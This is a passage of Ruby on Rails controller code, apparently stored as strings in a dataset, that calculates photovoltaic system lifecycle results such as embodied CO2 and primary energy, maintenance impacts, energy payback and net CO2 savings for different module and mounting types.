0\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B17\r\n temp = get_database_material_result_co2 'a-Si', 'Module Laminate', @ph_product\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B15\r\n temp = get_database_material_result_co2 'p-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B8\r\n temp = get_database_material_result_co2 'm-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = get_database_material_result_co2 'CdTe', 'Thinfilm', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B19\r\n temp = get_database_material_result_co2 'CIS/CIGS', 'Module Laminate', @ph_product \r\n end\r\n @ph_result.module = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n # =(IF(Assumptions!$G$19=Menues!$A$5,'Database Materials'!B$2,IF(Assumptions!$G$19=Menues!$A$2,'Database Materials'!B$17,IF(Assumptions!$G$19=Menues!$A$3,'Database Materials'!B$15,IF(Assumptions!$G$19=Menues!$A$4,'Database Materials'!B$8,IF(Assumptions!$G$19=Menues!$A$6,'Database Materials'!B$19,0))))))*Assumptions!$I$68 \r\n\r\n @ph_result.framing = 0 \r\n if @ph_product.ph_basic_information.framed == 'yes'\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B18 - B17\r\n temp = (get_database_material_result_co2 'a-Si', 'Module Framed Panel', @ph_product) - (get_database_material_result_co2 'a-Si', 'Module Laminate', @ph_product)\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B14\r\n temp = get_database_material_result_co2 'p-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B7\r\n temp = get_database_material_result_co2 'm-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B20 - B19\r\n temp = (get_database_material_result_co2 'CIS/CIGS', 'Module Framed Panel', @ph_product) - (get_database_material_result_co2 'CIS/CIGS', 'Module Laminate', @ph_product) \r\n end \r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = 0 \r\n end \r\n @ph_result.framing = temp * @ph_product.ph_intermediate_result.module_area\r\n end\r\n\r\n @ph_result.mounting = 0 \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted'\r\n #B24\r\n temp = get_database_material_result_co2 'Mounting', 'Roof Mounted Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n #B25\r\n temp = get_database_material_result_co2 'Mounting', 'Roof Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n #B27\r\n temp = get_database_material_result_co2 'Mounting', 'Facade Mounted Structures', @ph_product \r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated'\r\n #B28\r\n temp = get_database_material_result_co2 'Mounting', 'Facade Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n #B26\r\n temp = get_database_material_result_co2 'Mounting', 'Open Ground Structures', @ph_product\r\n end \r\n @ph_result.mounting = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n \r\n # ph_result inverter\r\n @ph_result.inverter = 0 \r\n if @ph_product.ph_electric_component.quantity_1 != 0\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_result.inverter += temp * @ph_product.ph_electric_component.quantity_1\r\n end\r\n if @ph_product.ph_electric_component.quantity_2 != 0\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_result.inverter += temp * @ph_product.ph_electric_component.quantity_2\r\n end\r\n \r\n \r\n # ph_result batteries\r\n @ph_result.batteries = 0 \r\n if @ph_product.ph_electric_component.ph_battery_type.name == 'Lead Acid'\r\n pes_1 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n pes_2 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n else\r\n pes_1 = get_database_material_result_co2 'Electrics Battery', 'Lithium Ion [kg / pc.]', @ph_product\r\n pes_2 = get_database_material_result_co2 'Electrics Battery', 'Lithium Ion [per kg]', @ph_product \r\n end \r\n @ph_result.batteries = @ph_product.ph_electric_component.separated_battery * pes_1 * pes_2\r\n \r\n # ph_result maintenance\r\n @ph_result.maintenance = 0 \r\n \r\n \r\n @ph_result.co2_total = @ph_result.cabling + @ph_result.module + @ph_result.framing + @ph_result.mounting + @ph_result.inverter + @ph_result.batteries\r\n \r\n \r\n ###########\r\n ### MAINTENANCE\r\n #########\r\n \r\n @ph_maintenance_result.years_included = 0\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_5'\r\n @ph_maintenance_result.years_included = 5\r\n end\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_10'\r\n @ph_maintenance_result.years_included = 10\r\n end\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_15'\r\n @ph_maintenance_result.years_included = 15\r\n end\r\n if @ph_product.ph_maintenance.maintenance_needs == 'yes_20'\r\n @ph_maintenance_result.years_included = 20\r\n end\r\n \r\n # boolean\r\n @ph_maintenance_result.inverter_replacement = 0\r\n if @ph_maintenance_result.years_included != 0\r\n if @ph_product.ph_maintenance.replacement_inverters == 'yes'\r\n @ph_maintenance_result.inverter_replacement = 1 \r\n end \r\n end\r\n\r\n # boolean\r\n @ph_maintenance_result.batteries_replacement = 0\r\n if @ph_product.ph_maintenance.replacement_batteries == 'yes'\r\n @ph_maintenance_result.batteries_replacement = 1 \r\n end \r\n \r\n @ph_maintenance_result.tap_water_l = 0\r\n if @ph_product.ph_maintenance.cleaning_modules == 'yes'\r\n @ph_maintenance_result.tap_water_l = 3.25\r\n end\r\n \r\n @ph_maintenance_result.tap_water_co2 = 0\r\n #b38\r\n temp = get_database_material_result_co2 'Maintenance', 'Tap Water', @ph_product\r\n @ph_maintenance_result.tap_water_co2 = temp * @ph_maintenance_result.tap_water_l\r\n \r\n @ph_maintenance_result.tap_water_pe = 0\r\n #c38\r\n temp = get_database_material_result_pe 'Maintenance', 'Tap Water', @ph_product\r\n @ph_maintenance_result.tap_water_pe = temp * @ph_maintenance_result.tap_water_l\r\n \r\n \r\n @ph_maintenance_result.needed_cycles_1 = 0\r\n if @ph_product.ph_electric_component.inverter_size_1 != 0 && @ph_product.ph_electric_component.quantity_1 != 0 \r\n if @ph_maintenance_result.inverter_replacement == 1 \r\n @ph_maintenance_result.needed_cycles_1 = (@ph_maintenance_result.years_included / @ph_product.ph_electric_component.lifetime_1) - 1\r\n if @ph_maintenance_result.needed_cycles_1 < 0\r\n @ph_maintenance_result.needed_cycles_1 = 0\r\n else \r\n @ph_maintenance_result.needed_cycles_1 = @ph_maintenance_result.needed_cycles_1.ceil \r\n end\r\n end\r\n end\r\n @ph_maintenance_result.needed_replacements_1 = @ph_maintenance_result.needed_cycles_1 * @ph_product.ph_electric_component.quantity_1\r\n \r\n @ph_maintenance_result.embodied_co2_1 = 0\r\n # B29\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_maintenance_result.embodied_co2_1 = temp * @ph_maintenance_result.needed_replacements_1 \r\n @ph_maintenance_result.embodied_pe_1 = 0\r\n # C29\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_maintenance_result.embodied_pe_1 = temp * @ph_maintenance_result.needed_replacements_1\r\n\r\n \r\n @ph_maintenance_result.needed_cycles_2 = 0\r\n if @ph_product.ph_electric_component.inverter_size_2 != 0 && @ph_product.ph_electric_component.quantity_2 != 0 \r\n if @ph_maintenance_result.inverter_replacement == 1 \r\n @ph_maintenance_result.needed_cycles_2 = (@ph_maintenance_result.years_included / @ph_product.ph_electric_component.lifetime_2) - 1\r\n if @ph_maintenance_result.needed_cycles_2 < 0\r\n @ph_maintenance_result.needed_cycles_2 = 0\r\n else \r\n @ph_maintenance_result.needed_cycles_2 = @ph_maintenance_result.needed_cycles_2.ceil\r\n end \r\n end\r\n end\r\n @ph_maintenance_result.needed_replacements_2 = @ph_maintenance_result.needed_cycles_2 * @ph_product.ph_electric_component.quantity_2\r\n \r\n @ph_maintenance_result.embodied_co2_2 = 0\r\n # B29\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_maintenance_result.embodied_co2_2 = temp * @ph_maintenance_result.needed_replacements_2\r\n \r\n @ph_maintenance_result.embodied_pe_2 = 0\r\n # C29\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_maintenance_result.embodied_pe_2 = temp * @ph_maintenance_result.needed_replacements_2\r\n \r\n \r\n \r\n @ph_maintenance_result.driven_maintenance = 2 * @ph_product.ph_maintenance.distance\r\n @ph_maintenance_result.driven_year = @ph_maintenance_result.driven_maintenance * @ph_product.ph_maintenance.yearly_frequency\r\n @ph_maintenance_result.driven_contract = @ph_maintenance_result.driven_year * @ph_maintenance_result.years_included\r\n \r\n @ph_maintenance_result.embodied_co2_transport = 0 \r\n #B35\r\n temp = get_database_material_result_co2 'Maintenance', 'Average Car Driving', @ph_product\r\n @ph_maintenance_result.embodied_co2_transport = @ph_maintenance_result.driven_contract * temp\r\n \r\n @ph_maintenance_result.embodied_pe_transport = 0\r\n #C35\r\n temp = get_database_material_result_pe 'Maintenance', 'Average Car Driving', @ph_product\r\n @ph_maintenance_result.embodied_pe_transport = @ph_maintenance_result.driven_contract * temp\r\n \r\n @ph_maintenance_result.embodied_co2_cleaning = @ph_product.ph_intermediate_result.module_area * @ph_maintenance_result.tap_water_co2\r\n @ph_maintenance_result.embodied_pe_cleaning = @ph_product.ph_intermediate_result.module_area * @ph_maintenance_result.tap_water_pe\r\n @ph_maintenance_result.total_embodied_co2_cleaning = @ph_maintenance_result.embodied_co2_cleaning * @ph_maintenance_result.years_included * @ph_product.ph_maintenance.yearly_frequency\r\n @ph_maintenance_result.total_embodied_pe_cleaning = @ph_maintenance_result.embodied_pe_cleaning * @ph_maintenance_result.years_included * @ph_product.ph_maintenance.yearly_frequency\r\n \r\n @ph_maintenance_result.needed_cycles_batteries = 0\r\n if @ph_maintenance_result.batteries_replacement == 1\r\n @ph_maintenance_result.needed_cycles_batteries = (@ph_maintenance_result.years_included / @ph_product.ph_electric_component.battery_lifetime) - 1\r\n if @ph_maintenance_result.needed_cycles_batteries < 0\r\n @ph_maintenance_result.needed_cycles_batteries = 0\r\n else \r\n @ph_maintenance_result.needed_cycles_batteries = @ph_maintenance_result.needed_cycles_batteries.ceil\r\n end \r\n end\r\n \r\n @ph_maintenance_result.needed_replacements_batteries = @ph_maintenance_result.needed_cycles_batteries * @ph_product.ph_electric_component.separated_battery\r\n \r\n @ph_maintenance_result.embodied_co2_batteries = 0\r\n if @ph_product.ph_electric_component.ph_battery_type.name == 'Lead Acid'\r\n #B31\r\n temp = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n #B32 \r\n temp_2 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n else\r\n #B33\r\n temp = get_database_material_result_co2 'Electrics Battery', 'Lithium Ion [kg / pc.]', @ph_product\r\n #B34 \r\n temp_2 = get_database_material_result_co2 'Electrics Battery', 'Lithium Ion [per kg]', @ph_product\r\n end \r\n @ph_maintenance_result.embodied_co2_batteries = @ph_maintenance_result.needed_replacements_batteries * temp * temp_2\r\n \r\n @ph_maintenance_result.embodied_pe_batteries = 0 \r\n if @ph_product.ph_electric_component.ph_battery_type.name == 'Lead Acid' \r\n #B31\r\n temp = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n #C32 \r\n temp_2 = get_database_material_result_pe 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n else\r\n #B31\r\n temp = get_database_material_result_co2 'Electrics Battery', 'Lithium Ion [kg / pc.]', @ph_product\r\n #C32 \r\n temp_2 = get_database_material_result_pe 'Electrics Battery', 'Lithium Ion [per kg]', @ph_product \r\n end \r\n @ph_maintenance_result.embodied_pe_batteries = @ph_maintenance_result.needed_replacements_batteries * temp * temp_2\r\n \r\n @ph_maintenance_result.embodied_carbon_dioxide = 0\r\n @ph_maintenance_result.embodied_primary_energy = 0\r\n if @ph_product.ph_maintenance.maintenance_needs != 'no'\r\n @ph_maintenance_result.embodied_carbon_dioxide = @ph_maintenance_result.embodied_co2_1 + @ph_maintenance_result.embodied_co2_2 + @ph_maintenance_result.embodied_co2_transport + @ph_maintenance_result.total_embodied_co2_cleaning + @ph_maintenance_result.embodied_co2_batteries\r\n @ph_maintenance_result.embodied_primary_energy = @ph_maintenance_result.embodied_pe_1 + @ph_maintenance_result.embodied_pe_2 + @ph_maintenance_result.embodied_pe_transport + @ph_maintenance_result.total_embodied_pe_cleaning + @ph_maintenance_result.embodied_pe_batteries \r\n end\r\n @ph_result.maintenance = @ph_maintenance_result.embodied_carbon_dioxide\r\n @ph_embedded_result.pe_maintenance = @ph_maintenance_result.embodied_primary_energy\r\n ##########\r\n ### EMBEDDED\r\n ##########\r\n\r\n @ph_embedded_result.lifetime_saved = @ph_result.lifetime * 3.6 / @ph_product.ph_basic_information.conversion_factor\r\n \r\n @ph_embedded_result.pe_pv_cabling = 0\r\n temp = 0\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted' || @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n #C22\r\n temp = get_database_material_result_pe 'Electrical Cabling', 'Roof Mounted System', @ph_product \r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated' || @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n #C21\r\n temp = get_database_material_result_pe 'Electrical Cabling', 'Facade Mounted System', @ph_product\r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n #C23\r\n temp = get_database_material_result_pe 'Electrical Cabling', 'Ground Mounted System', @ph_product\r\n end \r\n @ph_embedded_result.pe_pv_cabling = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n \r\n @ph_embedded_result.pe_pv_module = 0\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B17\r\n temp = get_database_material_result_pe 'a-Si', 'Module Laminate', @ph_product\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B15\r\n temp = get_database_material_result_pe 'p-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B8\r\n temp = get_database_material_result_pe 'm-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = get_database_material_result_pe 'CdTe', 'Thinfilm', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B19\r\n temp = get_database_material_result_pe 'CIS/CIGS', 'Module Laminate', @ph_product \r\n end\r\n @ph_embedded_result.pe_pv_module = temp * @ph_product.ph_intermediate_result.module_area \r\n \r\n @ph_embedded_result.pe_pv_framing = 0\r\n if @ph_product.ph_basic_information.framed == 'yes'\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B18 - B17\r\n temp = (get_database_material_result_pe 'a-Si', 'Module Framed Panel', @ph_product) - (get_database_material_result_pe 'a-Si', 'Module Laminate', @ph_product)\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B14\r\n temp = get_database_material_result_pe 'p-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B7\r\n temp = get_database_material_result_pe 'm-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B20 - B19\r\n temp = (get_database_material_result_pe 'CIS/CIGS', 'Module Framed Panel', @ph_product) - (get_database_material_result_pe 'CIS/CIGS', 'Module Laminate', @ph_product) \r\n end \r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = 0 \r\n end \r\n @ph_embedded_result.pe_pv_framing = temp * @ph_product.ph_intermediate_result.module_area\r\n end\r\n \r\n @ph_embedded_result.pe_pv_mounting = 0\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted'\r\n #B24\r\n temp = get_database_material_result_pe 'Mounting', 'Roof Mounted Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n #B25\r\n temp = get_database_material_result_pe 'Mounting', 'Roof Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n #B27\r\n temp = get_database_material_result_pe 'Mounting', 'Facade Mounted Structures', @ph_product \r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated'\r\n #B28\r\n temp = get_database_material_result_pe 'Mounting', 'Facade Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n #B26\r\n temp = get_database_material_result_pe 'Mounting', 'Open Ground Structures', @ph_product\r\n end \r\n @ph_embedded_result.pe_pv_mounting = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n @ph_embedded_result.pe_inverter = 0\r\n if @ph_product.ph_electric_component.quantity_1 != 0\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_embedded_result.pe_inverter += temp * @ph_product.ph_electric_component.quantity_1\r\n end\r\n if @ph_product.ph_electric_component.quantity_2 != 0\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_embedded_result.pe_inverter += temp * @ph_product.ph_electric_component.quantity_2\r\n end\r\n \r\n \r\n @ph_embedded_result.pe_batteries = 0\r\n if @ph_product.ph_electric_component.ph_battery_type.name == 'Lead Acid' \r\n pes_1 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n pes_2 = get_database_material_result_pe 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n else\r\n pes_1 = get_database_material_result_co2 'Electrics Battery', 'Lithium Ion [kg / pc.]', @ph_product\r\n pes_2 = get_database_material_result_pe 'Electrics Battery', 'Lithium Ion [per kg]', @ph_product \r\n end \r\n @ph_embedded_result.pe_batteries = @ph_product.ph_electric_component.separated_battery * pes_1 * pes_2\r\n \r\n \r\n \r\n @ph_embedded_result.embedded_energy_total = @ph_embedded_result.pe_pv_cabling + @ph_embedded_result.pe_pv_module + @ph_embedded_result.pe_pv_framing + @ph_embedded_result.pe_pv_mounting + @ph_embedded_result.pe_inverter + @ph_embedded_result.pe_batteries + @ph_embedded_result.pe_maintenance \r\n \r\n \r\n @ph_embedded_result.peak_power = @ph_product.ph_intermediate_result.module_area * calcul_efficiency / 100\r\n @ph_embedded_result.lifetime_production = @ph_result.lifetime\r\n \r\n \r\n if @ph_product.ph_basic_information.working == 'yes' && @ph_product.ph_basic_information.know_power == 'yes' && @ph_product.ph_basic_information.user_power\r\n @ph_embedded_result.averaged_power = @ph_product.ph_basic_information.user_power\r\n else \r\n @ph_embedded_result.averaged_power = @ph_embedded_result.lifetime_production / @ph_product.ph_specified.lifetime \r\n end\r\n \r\n \r\n \r\n \r\n @ph_embedded_result.averaged_consumption = @ph_embedded_result.averaged_power * 3.6 / @ph_product.ph_basic_information.conversion_factor \r\n @ph_embedded_result.system_emb = @ph_embedded_result.embedded_energy_total\r\n @ph_embedded_result.energy_payback = @ph_embedded_result.embedded_energy_total / @ph_embedded_result.averaged_consumption\r\n @ph_embedded_result.energy_yield = @ph_embedded_result.lifetime_saved / @ph_embedded_result.embedded_energy_total\r\n @ph_embedded_result.emb_co2 = @ph_result.cabling + @ph_result.inverter + @ph_result.batteries \r\n\r\n @ph_result.co2_total += @ph_result.maintenance\r\n @ph_embedded_result.estim_co2 = 1000 * @ph_result.co2_total / @ph_result.lifetime\r\n @ph_embedded_result.net_saved_co2 = @ph_embedded_result.lifetime_production * (@ph_product.ph_basic_information.co2_factor - @ph_embedded_result.estim_co2) / 1000 \r\n \r\n @ph_product.ph_result.save\r\n @ph_product.ph_embedded_result.save\r\n @ph_product.ph_maintenance_result.save\r\n end \r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml\r\n end\r\n end",
"def summary\r\n \r\n @ph_product = PhProduct.find(params[:ph_result_id])\r\n @product = @ph_product.product\r\n @step = 1 \r\n if @ph_product.ph_intermediate_result \r\n if !@ph_product.ph_result\r\n ph_result = PhResult.new \r\n ph_result.ph_product_id = @ph_product.id\r\n ph_result.save\r\n @ph_product.ph_result = ph_result\r\n end\r\n @ph_result = @ph_product.ph_result\r\n if !@ph_product.ph_maintenance_result \r\n ph_maintenance_result = PhMaintenanceResult.new \r\n ph_maintenance_result.ph_product_id = @ph_product.id\r\n ph_maintenance_result.save\r\n @ph_product.ph_maintenance_result = ph_maintenance_result \r\n end\r\n @ph_maintenance_result = @ph_product.ph_maintenance_result \r\n if !@ph_product.ph_embedded_result \r\n ph_embedded_result = PhEmbeddedResult.new \r\n ph_embedded_result.ph_product_id = @ph_product.id\r\n ph_embedded_result.save\r\n @ph_product.ph_embedded_result = ph_embedded_result \r\n end\r\n @ph_embedded_result = @ph_product.ph_embedded_result \r\n \r\n\r\n @ph_embedded_result.temperature_induced = 0\r\n temp = 0\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n temp = -0.13\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n temp = -0.4465\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n temp = -0.402545\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n temp = -0.25 \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n temp = -0.43666\r\n end \r\n \r\n # =(Assumptions!$I$11-25)*IF(Assumptions!G19=Menues!A2,Menues!A122,IF(Assumptions!G19=Menues!A3,Menues!B122,IF(Assumptions!G19=Menues!A4,Menues!C122,IF(Assumptions!G19=Menues!A5,Menues!D122,IF(Assumptions!G19=Menues!A6,Menues!E122,0))))) \r\n \r\n @ph_embedded_result.temperature_induced = temp * (@ph_product.ph_basic_information.temperature - 25) \r\n calcul_efficiency = @ph_product.ph_specified.efficiency * (1 + (@ph_embedded_result.temperature_induced / 100))\r\n \r\n ph_database_material_values = PhDatabaseMaterialValue.find(:all, :conditions => [\"ph_product_id = ?\", @ph_product.id])\r\n ph_database_material_values.each do |ph_database_material_value|\r\n ph_database_material_value.delete\r\n end \r\n \r\n\r\n @ph_database_materials = PhDatabaseMaterial.all \r\n @ph_database_materials.each do |ph_database_material|\r\n if ph_database_material.default_value_co2 == 0\r\n calculate_co2 ph_database_material, @ph_product\r\n end\r\n if ph_database_material.default_value_pe == 0\r\n calculate_pe ph_database_material, @ph_product\r\n end \r\n end\r\n @ph_database_material_values = PhDatabaseMaterialValue.find(:all, :conditions => [\"ph_product_id = ?\", @ph_product.id])\r\n \r\n n49 = 0\r\n if @ph_product.ph_specified.area_unit\r\n n49 = @ph_product.ph_specified.area * @ph_product.ph_specified.area_unit.conversion_factor\r\n end \r\n # ph_result lifetime\r\n \r\n if @ph_product.ph_basic_information.known == 'both' || @ph_product.ph_basic_information.known == 'power_demand'\r\n #Menues!N56*Assumptions!F39\r\n @ph_result.lifetime = 0\r\n n56 = 0\r\n #=IF($Assumptions.G19=$Menues.A7;0;\r\n if @ph_product.ph_specified.ph_module_type.name != 'Not specified'\r\n if @ph_product.ph_specified.power_unit.conversion_factor == -1 \r\n # Peak Power [kWp]\r\n conversion_factor = @ph_product.ph_basic_information.radiation * @ph_product.ph_basic_information.performance_ratio\r\n n56 = @ph_product.ph_specified.power * conversion_factor\r\n else \r\n n56 = @ph_product.ph_specified.power * @ph_product.ph_specified.power_unit.conversion_factor\r\n end \r\n @ph_result.lifetime = n56 * @ph_product.ph_specified.lifetime\r\n end\r\n else \r\n #Menues!N49*(Assumptions!F38/100)*Assumptions!I15*Assumptions!I9*Assumptions!F39 \r\n @ph_result.lifetime = n49 * (calcul_efficiency / 100) * @ph_product.ph_basic_information.performance_ratio * @ph_product.ph_basic_information.radiation * @ph_product.ph_specified.lifetime\r\n \r\n end\r\n \r\n \r\n #IF($Assumptions.E35=$Menues.G41;$Assumptions.D35*$Menues.E60;IF($Assumptions.E35=$Menues.G42;$Assumptions.D35;IF($Assumptions.E35=G43;$Menues.E59*$Assumptions.D35;IF($Assumptions.E35=$Menues.G44;$Menues.E58*$Assumptions.D35;IF($Assumptions.E35=$Menues.G45;$Menues.E61*$Assumptions.D35;0)))));0))\r\n @ph_result.cabling = 0\r\n temp = 0\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted' || @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n temp = get_database_material_result_co2 'Electrical Cabling', 'Roof Mounted System', @ph_product \r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated' || @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n temp = get_database_material_result_co2 'Electrical Cabling', 'Facade Mounted System', @ph_product\r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n temp = get_database_material_result_co2 'Electrical Cabling', 'Ground Mounted System', @ph_product\r\n end \r\n\r\n @ph_result.cabling = temp * @ph_product.ph_intermediate_result.module_area\r\n\r\n # ph_result module\r\n @ph_result.module = 0\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B17\r\n temp = get_database_material_result_co2 'a-Si', 'Module Laminate', @ph_product\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B15\r\n temp = get_database_material_result_co2 'p-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B8\r\n temp = get_database_material_result_co2 'm-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = get_database_material_result_co2 'CdTe', 'Thinfilm', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B19\r\n temp = get_database_material_result_co2 'CIS/CIGS', 'Module Laminate', @ph_product \r\n end\r\n @ph_result.module = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n # =(IF(Assumptions!$G$19=Menues!$A$5,'Database Materials'!B$2,IF(Assumptions!$G$19=Menues!$A$2,'Database Materials'!B$17,IF(Assumptions!$G$19=Menues!$A$3,'Database Materials'!B$15,IF(Assumptions!$G$19=Menues!$A$4,'Database Materials'!B$8,IF(Assumptions!$G$19=Menues!$A$6,'Database Materials'!B$19,0))))))*Assumptions!$I$68 \r\n \r\n # ph_result framing\r\n @ph_result.framing = 0 \r\n if @ph_product.ph_basic_information.framed == 'yes'\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B18 - B17\r\n temp = (get_database_material_result_co2 'a-Si', 'Module Framed Panel', @ph_product) - (get_database_material_result_co2 'a-Si', 'Module Laminate', @ph_product)\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B14\r\n temp = get_database_material_result_co2 'p-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B7\r\n temp = get_database_material_result_co2 'm-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B20 - B19\r\n temp = (get_database_material_result_co2 'CIS/CIGS', 'Module Framed Panel', @ph_product) - (get_database_material_result_co2 'CIS/CIGS', 'Module Laminate', @ph_product) \r\n end \r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = 0 \r\n end \r\n @ph_result.framing = temp * @ph_product.ph_intermediate_result.module_area\r\n end\r\n \r\n # ph_result mounting\r\n @ph_result.mounting = 0 \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted'\r\n #B24\r\n temp = get_database_material_result_co2 'Mounting', 'Roof Mounted Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n #B25\r\n temp = get_database_material_result_co2 'Mounting', 'Roof Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n #B27\r\n temp = get_database_material_result_co2 'Mounting', 'Facade Mounted Structures', @ph_product \r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated'\r\n #B28\r\n temp 